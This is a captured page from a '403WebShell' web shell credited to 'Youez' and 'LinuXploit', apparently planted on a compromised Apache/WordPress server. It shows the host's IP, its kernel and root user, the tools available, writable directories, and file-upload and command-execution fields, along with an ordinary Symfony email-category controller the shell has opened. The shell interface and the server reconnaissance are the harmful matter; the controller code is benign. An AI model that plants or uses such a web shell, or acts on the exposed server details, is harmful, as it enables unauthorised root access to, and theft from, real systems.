WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.174
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Controller/EmailCategoryController.php
<?php

namespace App\Controller;

use App\Entity\EmailCategory;
use App\Form\EmailCategoryType;
use App\Repository\EmailCategoryRepository;
use App\Repository\EmailSubscriptionRepository;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;

/**
 * @Route("/email/category")
 */
class EmailCategoryController extends AbstractController
{
    /**
     * @Route("/", name="email_category_index", methods={"GET"})
     */
    public function index(EmailCategoryRepository $emailCategoryRepository): Response
    {
        return $this->render('email_category/index.html.twig', [
            'email_categories' => $emailCategoryRepository->findAll(),
        ]);
    }

    /**
     * @Route("/new", name="email_category_new", methods={"GET","POST"})
     */
    public function new(Request $request): Response
    {
        $emailCategory = new EmailCategory();
        $form = $this->createForm(EmailCategoryType::class, $emailCategory);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            $entityManager = $this->getDoctrine()->getManager();
            $entityManager->persist($emailCategory);
            $entityManager->flush();

            return $this->redirectToRoute('contributor_email_index');
        }

        return $this->render('email_category/new.html.twig', [
            'email_category' => $emailCategory,
            'form' => $form->createView(),
        ]);
    }

    /**
     * @Route("/{id}", name="email_category_show", methods={"GET"})
     */
    public function show(EmailCategory $emailCategory): Response
    {
        return $this->render('email_category/show.html.twig', [
            'email_category' => $emailCategory,
        ]);
    }

    /**
     * @Route("/{id}/edit", name="email_category_edit", methods={"GET","POST"})
     */
    public function edit(Request $request, EmailCategory $emailCategory): Response
    {
        $form = $this->createForm(EmailCategoryType::class, $emailCategory);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            $this->getDoctrine()->getManager()->flush();

            return $this->redirectToRoute('contributor_email_index');
        }

        return $this->render('email_category/edit.html.twig', [
            'email_category' => $emailCategory,
            'form' => $form->createView(),
        ]);
    }

    /**
     * @Route("/{id}", name="email_category_delete", methods={"DELETE"})
     */
    public function delete(Request $request, EmailCategory $emailCategory, EmailSubscriptionRepository $emailSubscriptionRepository): Response
    {
        if ($this->isCsrfTokenValid('delete'.$emailCategory->getId(), $request->request->get('_token'))) {
            $entityManager = $this->getDoctrine()->getManager();

            $emails = $emailCategory->getContributorEmails();
            $emailSubscriptions = $emailSubscriptionRepository->findBy(['emailCategory'=>$emailCategory]);

            foreach ($emailSubscriptions as $subscription){
                $entityManager->remove($subscription);
            }

            foreach ($emails as $email){
                $entityManager->remove($email);
            }

            $entityManager->remove($emailCategory);
            $entityManager->flush();
        }

        return $this->redirectToRoute('contributor_email_index');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit